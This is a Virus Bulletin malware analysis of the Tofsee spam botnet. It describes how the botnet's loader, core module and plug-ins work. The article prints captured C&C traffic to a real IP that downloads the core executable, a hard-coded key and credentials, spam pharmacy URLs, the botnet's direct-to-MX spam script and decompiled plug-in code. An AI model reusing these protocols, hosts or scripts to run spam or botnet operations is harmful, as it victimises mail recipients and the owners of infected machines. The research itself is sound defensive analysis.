


Virus Bulletin :: Tofsee botnet

 virusbulletin.com/virusbulletin/2014/04/tofsee-botnet

Tofsee botnet

2014-04-02

Ryan Mi

Fortinet, Canada **Editor:** Helen Martin

Abstract

The spam botnet Tofsee can be divided into three components: loader, core module and plug-ins. Ryan Mi describes how the components communicate with the C&C server, and how they work with one another.

The spam botnet Tofsee, a.k.a. 'GHEG', has been active for many years. I first encountered it in May 2013, since when I have been monitoring its activities. Based on my analysis, the Tofsee botnet can be divided into three components: loader, core module and plug-ins. In this article I will describe how the components communicate with the C&C server, and how they work with one another.

The loader

The loader is a relatively simple and independent component compared with the other two. Usually, the file comes from a social network and disguises itself as an interesting picture. After successfully luring victims into executing it, the loader will communicate with a list of C&C servers that are hard-coded within its code, then download and run the core module. At the same time, it downloads a picture file and displays it to the victim.

Figure 1 shows the initial communication between the victim machine and the C&C server.

```
Stream Content
GET /tsone/vowet11.dat?wv=51&bt=32 HTTP/1.0
Host: 91.218.38.211

HTTP/1.1 200 OK
Date: Sat, 18 May 2013 11:49:24 GMT
Server: Apache/2.2.15 (CentOS)
Last-Modified: Tue, 14 May 2013 10:10:04 GMT
ETag: "7c0c3-60-4dcaad6415700"
Accept-Ranges: bytes
Content-Length: 96
Connection: close
Content-Type: video/unknown

.T.....tt.Bl..P.....8.....>6...00..8...*..<.....,*
>:.....:,;>
4..($.8.....*0..4..4.|
```

Figure 1. Initial communication between victim and C&C server.

The loader's request contains parameters that provide the *Windows* version and system bit type to the C&C server. The reply from the C&C server is encrypted. After decryption, the information is revealed in the following format: KEYS(l,u,p), Path, URL, Content-Length. An example is shown in [Figure 2](#), with the corresponding values:

11, name03, 3sRd6Nf8H, tsone/ajuno.php,
hxxp://wickedreport.com/images/2009/05/naughty-elephant.jpg, 25

The 'KEYS(l,u,p)' and 'Path' value will be used to connect to the same C&C server again and to download the core module binary. The 'URL' value is the link to download the picture file.

```
Stream Content
POST /tsone/ajuno.php HTTP/1.0
Host: 91.218.38.211
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

u=name03&p=3sRd6Nf8H&l=11HTTP/1.1 200 OK
Date: Sat, 18 May 2013 11:49:34 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Pragma: public
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0
Cache-Control: private
Content-Disposition: attachment; filename="MewhoreGIF.exe";
Content-Transfer-Encoding: binary
Content-Length: 96768
Connection: close
Content-Type: application/force-download

MZ.....
@.....!..L.!This program
cannot be run in DOS mode
```

Figure 2. Victim downloads the core module.

The core module

The core module is the main control component. It hides itself in the victim system, keeps talking to the C&C server, fetches new configuration data and loads plug-ins.

Although the core module connects to the C&C server through ports 443, 995 or 465, the connections are not standard SSL. The streams between them are encrypted by a customized encryption routine. After setting up the TCP connection, the C&C server will send a 200-byte package to the core module. The decrypted data includes an initialized 128-byte key table, the victim's public IP address, server status flags, etc. (see [Figure 3](#)).

```
0000000: c04d 327b fea0 ff78 ac35 d43f ad92 970d .M2{...x.5.?....
0000010: 7c82 35ac 3ee3 f775 ff00 16fb 6eaf cb2e |.5.>..u....n...
0000020: fcfd aafa 9ea9 724a df47 898c d921 9955 .....rJ.G...!.U
0000030: a3cf 01e2 b2f8 57b1 f96e ac67 1d78 951a .....W..n.g.x..
0000040: 753f 1413 e987 5dc8 cee7 54a7 08ee fcab u?...].T....
0000050: bdfc 8d6f f6e5 20ef 53cc 5670 44ec 8aba ...o.. .S.VpD...
0000060: 2b9f cd14 262b dcf4 1231 9b1a 1f97 c5dc +...&+...1.....
0000070: 9553 4b8c 386b 7b8b 37d2 fb7c be86 36e9 .SK.8k{.7..|.6.
0000080: 0100 0000 0100 0000 0090 0100 0000 0000 .....
0000090: ██████████ 36f4 e031 709e b7a6 88dc ██████████ .1p....
00000a0: a986 27d8 6066 186c 4073 96b2 939d b906 ..'.'`f.l@s.....
00000b0: ee4c b1ab 5ae7 9f3b 180f d9d0 b561 ac5e .L..Z...;.....a.^
00000c0: e7d4 3648 3a4f b47b ..6H:O.{
```

Figure 3. 200-byte package sent to the core module that includes the key table.

The core module inspects the package received from the C&C server. If all goes well, the core module will generate a package which includes local information (such as: local time, unique ID, system version, etc.) and send it back to the C&C server. The core module will use the key table and a hard-coded key string, 'abcdefg', for encryption to generate the package. From this point on, communication between the victim and the C&C server will use the key table and the hard-coded key string for encryption and decryption.

Next, the server may return a new C&C server list (Figure 4) or request local configuration information from the victim and provide some new configuration files to the core module.



Figure 4. New C&C server list.

In Tofsee, at the beginning of each configuration, there are a couple of bytes that indicate the length and CRC value of the configuration data. Following these bytes, the configuration can be divided into three parts: configuration type, configuration name and configuration data. For example, we can see in [Figure 4](#) that the configuration type is 1, the name is 'work_srv', and the rest is the corresponding data. Each specific type of configuration contains different configuration data. For example, configuration type 1 contains a list of C&C servers; configuration type 5 is for plug-ins; configuration type 7 contains string variables for spam.

[Figure 5](#) shows some of the configurations collected from Tofsee C&C servers.

7-%BODYA_T3	7-%GM2_BODY	7-%RND_SMILE	7-%URL_B64	8-4502%RND_CHERTA	11-4502
7-%BODYA_T3_ATT	7-%GM3_BODY	7-%RND_THUNDR	7-%URL_DATE	8-4502%RND_LINE1	11-4506
7-%BODYA_T4	7-%GM4_BODY	7-%RND_USERAGENT	7-%URL_TEST1	8-4502%RNDREXL	11-4507
7-%BODYA_T4_ATT	7-%GMBODY_ROT	7-%RND_VIADV	7-%VI_ENCODED	8-4502%RNDRFONT	11-4511
7-%BODYA_T6	7-%HDR_EMPTY	7-%RND_VIFRNM	7-%WORD_CAP	8-4502%RNDRSIZE	11-4512
7-%BODYA_T9	7-%HDR_OUTL	7-%RND_VILINE	7-%WORD_LIT	8-4502%START_WORD	21-ddos
7-%BODYA_T9_ATT	7-%HDR_SIMPLE	7-%RND_WORD	7-%WORDS_1_2_LIT	8-4502%SUBJ	22-kill
7-%BODYAHTML0	7-%HDR_THUND	7-%RND_YCBID	7-%WORDS_1_2_LIT--	8-4502%TO_NAME	23-mailbody
7-%BODYAHTML2	7-%HEADER	7-%RND_YCBMSG	7-%YAHOO_LOGIN	8-4511%_AUTO_AD2	23-sniffcfg
7-%BODYAHTML3	7-%HI1	7-%RND_YCBNL	8-4484%_AUTO_AD2	8-4511%FROM_EMAIL	24-proxy_cfg
7-%BODYAHTMLT	7-%HOSTINGR	7-%RNRDRBR	8-4484%FROM_EMAIL	8-4511%MID_WORD	24-wlist
7-%BODYD	7-%HOSTS	7-%RNRDCOLOR	8-4484%MID_WORD	8-4511%RND_CHERTA	25-ws_loginloo
7-%CHARSET	7-%IMG_ID	7-%RRESOLV	8-4484%RND_CHERTA	8-4511%RND_LINE1	25-ws_recog
7-%DATE_AUTOURL	7-%LANG_ID	7-%SPRD_TEXT1	8-4484%RND_LINE1	8-4511%RNDREXL	31-RT_1
7-%DATE_HM_BODY1	7-%LIVEIMGID	7-%SPRD_TEXT2	8-4484%RNDREXL	8-4511%RNDRFONT	31-RT_2
7-%DATE_TWI	7-%LNAME	7-%SPRD_URL1	8-4484%RNDRFONT	8-4511%RNDRSIZE	31-RT_AD
7-%DATING_ALL_URL	7-%MINER_LOGIN2	7-%SPRD_URL2	8-4484%RNDRSIZE	8-4511%START_WORD	32-ps_otlups_hi
7-%DATING_GM_URL	7-%NAME	7-%SPRD_URL3	8-4484%START_WORD	8-4511%SUBJ	32-ps_otlups_yr
7-%DATING_HM_URL	7-%NAMES	7-%SSS1970H	8-4484%SUBJ	8-4511%TO_NAME	32-psmtp_cfg
7-%DATING_URL	7-%OE_SUBVERSION	7-%SUBJ_A06	8-4484%TO_NAME	8-4512%_AUTO_AD2	34-miner_cfg
7-%EHASH	7-%OE_VERSION	7-%SUBJ_DATE1	8-4485%_AUTO_AD2	8-4512%FROM_EMAIL	36-sprd1_cfg
7-%EVA_AUTOURL	7-%RECIED	7-%SUBJ_T3	8-4485%FROM_EMAIL	8-4512%MID_WORD	37-sprd2_cfg
7-%EVA_FTP	7-%REPLICA_TW	7-%SUBJ_T4	8-4485%MID_WORD	8-4512%RND_CHERTA	38-sys_cfg
7-%EVA_URL	7-%REPLICA_URL	7-%SUBJ_T4_ATT	8-4485%RND_CHERTA	8-4512%RND_LINE1	39-webb_cfg

Figure 5. List of Tofsee configurations.

The name gives us a general idea of what each configuration is for. Types 7 and 8 in particular have a large number of configurations. These contain string variables which will be used by the email template to generate random spam emails.

Figure 6 shows part of the template from the configuration '3-psmtp_task'.


```
Shttp://drugstoredrugs.ru  
http://drugstorerxmeds.ru  
http://freerxdrugstore.ru  
http://pillpharmacyrx.ru  
http://rxpharmacytabletsdrugstore.ru  
http://rxpillsfitness.ru  
http://rxpillsnutrition.ru  
http://tabhealthdrugstore.ru  
http://tripdrugstorerx.ru  
http://triphealthdrugstore.ru  
http://remedytarerxtablets.ru  
http://rxtabletsmeds.ru  
http://tabhealthpharmacy.ru
```

Figure 7. A list of URLs in a configuration for spam email.

In the lower half of configuration '3-psmtp_task' there is a small script for sending spam using the 'direct-to-MX' method. [Figure 8](#) shows part of the script.


```

C mx_M(%RND_NUM[1-4])_.hotmail.com:25
R
S mx_smtp_01.txt
o ^2
m %FROM_DOMAIN __A(4|__M(%HOSTS)__)__
W ""EHLO __A(3|__M(%{mail}{smtp}%RND_NUM[1-4].%FROM_DOMAIN)__)__\r\n""
R
S mx_smtp_02.txt
o ^2 ^3
L L_NEXT_BODY
v MI 0
- m %FROM_EMAIL __M(%FROM_USER) __@ __M(%FROM_DOMAIN) __
W ""MAIL From:<__M(%FROM_EMAIL) __>\r\n""
R
S mx_smtp_03.txt
I L_QUIT ^421
o ^2 ^3
L L_NEXT_EMAIL
U L_NO_MORE_EMAILS @ __S(TO|__v(MI) __) __
W ""RCPT To:<__l(__S(TO|__v(MI) __) __>\r\n""
R
S mx_smtp_04.txt
I L_OTLUP ^550
I L_TOO_MANY_RECIP ^452
o ^2 ^3
v MI __A(1|__v(MI) __,+,1) __
u L_NEXT_EMAIL 1 __A(1|__v(MI) __,<,10) __
L L_NO_MORE_EMAILS
u L_NOEMAILS 0 __A(1|__v(MI) __,>,0) __
W ""DATA\r\n""
R
S mx_smtp_05.txt
o ^2 ^3
m %SS1970H __P(__t(126230445) __|16) __
m %TO_EMAIL ""<__l(__S(TO|0) __) __>""
W "" S(BODY) \r\n.\r\n""

```

Figure 8. The lower half of '3-psmtp_task'.

Once Tofsee's core module has been deployed in the victim system, the C&C server will send it lots of new configurations every day. [Figure 9](#) shows information based on my tracking data. (Note that the statistics were generated on 10 January 2014.)

%Type-%Name	UpdateCount	LastUpdate
3-psmtp_task	843	2013-12-13 12:42:16
7-%EVA_AUTOURL	658	2014-01-10 12:42:57
7-%SPRD_URL2	326	2014-01-10 12:43:03
7-%DATING_ALL_URL	254	2014-01-10 12:43:00
24-wlist	245	2014-01-10 12:42:58
7-%SPRD_URL1	229	2014-01-02 12:42:14
3-task_cfg	207	2013-12-13 12:42:15
7-%DATING_GM_URL	103	2013-11-21 06:42:26
7-%DATE_AUTOURL	96	2013-10-07 12:42:27
31-RT_2	53	2014-01-08 06:42:25
24-proxy_cfg	30	2013-12-18 12:43:54
7-%DATE_TWI	21	2013-10-07 12:42:27
36-sprd1_cfg	19	2013-12-06 06:42:33
34-miner_cfg	18	2014-01-02 06:42:15
3-webm_cfg2	15	2013-12-13 12:42:16
7-%SUBJ	12	2013-12-11 12:42:38
7-%DATING_HM_URL	11	2013-10-15 06:42:54
7-%GM_BODY	9	2014-01-09 06:42:56
7-%DATING_URL	9	2013-09-30 06:42:32
7-%REPLICA_TW	8	2013-10-07 12:42:28
7-%REPLICA_URL	8	2013-10-07 12:42:27
1-start_srv	7	2013-12-18 00:43:16
7-%FARM_BOD_RAN	6	2013-09-08 12:42:16
7-%GM2_BODY	6	2014-01-08 12:43:54
1-work_srv	6	2013-11-25 12:43:55
5-12	5	2014-01-10 06:43:53
7-%FIREURL	5	2013-12-18 00:43:17
7-%AOL_DURL	4	2013-12-09 12:42:42
11-4435	4	2013-12-18 00:43:16
7-%GMBODY_ROT	4	2014-01-08 12:43:55
7-%AOL_DATE_BODY	4	2013-12-09 18:42:36
7-%AOL_FURL	4	2014-01-10 06:43:51
5-4	3	2013-12-04 12:42:34
7-%AOL_BODY_FARM	3	2013-12-13 00:42:18

Figure 9. Updating frequency of Tofsee configurations.

Some of the configurations were updated quite frequently, especially those with 'URL' as part of their names. It is interesting to see that the configuration '3-psmtp_task' has not been updated for a while, even though it is still top of the list, as shown in [Figure 9](#). It appears that configuration types 11 and 8 were introduced recently.

The type 11 configuration has a similar data structure to '3-psmtp_task'. It uses type 8 to generate spam. These have been introduced to replace the '3-psmtp_task' configuration, as we can tell from the update times shown in [Figure 10](#).

%Type-%Name	UpdateCount	LastUpdate
▶ 11-4432		1 2013-12-16 12:43:10
11-4433		1 2013-12-16 12:43:10
11-4434		1 2013-12-16 12:43:10
11-4435		4 2013-12-18 00:43:16
11-4436		1 2013-12-16 12:43:10
11-4437		1 2013-12-17 00:42:22
11-4440		1 2013-12-18 00:43:16
11-4441		2 2013-12-19 12:43:01
	• • •	
11-4509		1 2014-01-07 06:43:16
11-4502		1 2014-01-07 12:42:55
11-4510		1 2014-01-07 12:43:02
11-4511		1 2014-01-08 00:42:29
11-4512		1 2014-01-08 06:42:27
11-4513		1 2014-01-08 18:42:37
11-4517		1 2014-01-09 06:42:57
11-4518		1 2014-01-09 12:42:27
11-4514		1 2014-01-09 12:42:27
11-4516		1 2014-01-09 12:42:27
11-4519		1 2014-01-10 00:42:32
11-4520		2 2014-01-10 12:42:35
11-4528		1 2014-01-10 12:42:36

Figure 10. Type 11 configuration.

One more thing about the configuration is that, based on my data, the Tofsee C&C servers have not been changed frequently. Configurations '1-start_srv' and '1-work_srv' contain a list of C&C servers, as shown in [Figure 11](#). (Please refer to [Figure 4](#) for the content of these configurations.) These C&C servers are mainly hosted in Malaysia, Hong Kong and Eastern European countries.

%Type-%Name	UpdateCount	LastUpdate
▶ 1-start_srv	7	2013-12-18 00:43:16
1-work_srv	6	2013-11-25 12:43:55

Figure 11. Configurations that contain a list of C&C servers.

The plug-ins

The plug-ins are of configuration type 5. From the data in [Figure 12](#), we can tell that the plug-ins are not updated frequently. The most recently updated one, '5-12', is related to spamming.

%Type-%Name	UpdateCount	LastUpdate
5-12	5	2014-01-10 06:43:53
5-18	3	2013-12-19 12:43:03
5-19	2	2013-12-11 12:42:38
5-14	3	2013-12-10 06:42:14
5-4	3	2013-12-04 12:42:34
5-5	2	2013-11-30 06:42:23
5-16	2	2013-08-15 06:42:28
5-17	1	2013-07-22 16:04:42
5-11	1	2013-07-22 16:04:42
5-1	1	2013-07-22 16:04:41
5-2	1	2013-07-22 16:04:41
5-3	1	2013-07-22 16:04:41
5-6	1	2013-07-22 16:04:41
▶ 5-7	1	2013-07-22 16:04:41

Figure 12. List of plug-ins.

The following is a list of plug-ins and their names:

- 5-1: plg_ddos
- 5-2: plg_antibot - kill
- 5-3: plg_sniff
- 5-4: plg_proxy
- 5-5: plg_webm
- 5-6: plg_protect

- 5-7: plg_locs
- 5-11: plg_text
- 5-12: psmtp
- 5-14: plg_miner
- 5-16: plg_spread1
- 5-17: plg_spread2
- 5-18: plg_sys_cfg

All of the plug-ins received from the C&C server are loaded into the core module's memory and run under the core module. All of the plug-ins are DLL files and have the same exported function, 'plg_init', which will be called by the core module to initialize them.

Figure 13 shows the part of the core module code that loads the plug-ins.

```

PlugInStruct = LoadPlugins(exebinary);
v3 = PlugInStruct;
if ( !PlugInStruct )
    return 0;
plg_init_offset = SearchExportTable(PlugInStruct, "plg_init");
if ( !plg_init_offset )
{
    DestroyLoadedPlugin(v3);
    return 0;
}
v6 = (plg_init_offset)(Function_Structure);
v7 = v6;
if ( !v6 )
{
    DestroyLoadedPlugin(v3);
    return 0;
}

```

Figure 13. Snippet of core module code for loading the plug-ins.

The function 'plg_init' only takes one parameter, 'Function_Structure', which is a big array of function memory locations. 'Function_Structure' is first initialized by the core module, and later the plug-ins will update it by adding or removing items. Since the core module and the plug-ins all run under the same process, they can share different functions with one another. Figure 14 shows how the plug-in '5-4' accesses functions.

```

listen_status = 1;
dword_1400AE90 = 1;
random_port = port;
socket = (*(FunctionStructure + 0xC8))(AF_INET, 1, IPPROTO_TCP); // socket
if ( socket >= 0 )
{
    dword_1400AE90 = AF_INET;
    while ( 1 )
    {
        v4 = AF_INET;
        v5 = htons(random_port);
        v6 = 0;
        if ( !(*(FunctionStructure + 0xD8))(socket, &v4, 0x10u) ) // bind
            break;
        ++random_port;
    }
    dword_1400AE90 = 3;
    if ( (*(FunctionStructure + 0xDC))(socket, 100) ) // listen
    {
        listen_status = 0;
        CallCloseSocket(socket);
        result = 0;
    }
}

```

Figure 14. Snippet of plug-in code to access functions using 'Function_Structure'.

Tofsee's overriding behaviour is spamming, of course. However, its use of plug-ins allows for additional functionality. So far, based on my analysis, the binaries that have been downloaded from the C&C server have functionalities such as DDoSing, sniffing, rootkit protection and litecoin mining.

We will continue to keep an eye on this botnet to see what new features appear and how it evolves.

Latest articles:

[Cryptojacking on the fly: TeamTNT using NVIDIA drivers to mine cryptocurrency](#)

TeamTNT is known for attacking insecure and vulnerable Kubernetes deployments in order to infiltrate organizations' dedicated environments and transform them into attack launchpads. In this article Aditya Sood presents a new module introduced by...

[Collector-stealer: a Russian origin credential and information extractor](#)

Collector-stealer, a piece of malware of Russian origin, is heavily used on the Internet to exfiltrate sensitive data from end-user systems and store it in its C&C panels. In this article, researchers Aditya K Sood and Rohit Chaturvedi present a 360...

Fighting Fire with Fire

In 1989, Joe Wells encountered his first virus: Jerusalem. He disassembled the virus, and from that moment onward, was intrigued by the properties of these small pieces of self-replicating code. Joe Wells was an expert on computer viruses, was partly...

Run your malicious VBA macros anywhere!

Kurt Natvig wanted to understand whether it's possible to recompile VBA macros to another language, which could then easily be 'run' on any gateway, thus revealing a sample's true nature in a safe manner. In this article he explains how he recompiled...

Dissecting the design and vulnerabilities in AZORult C&C panels

Aditya K Sood looks at the command-and-control (C&C) design of the AZORult malware, discussing his team's findings related to the C&C design and some security issues they identified during the research.

[Bulletin Archive](#)

Copyright © 2014 Virus Bulletin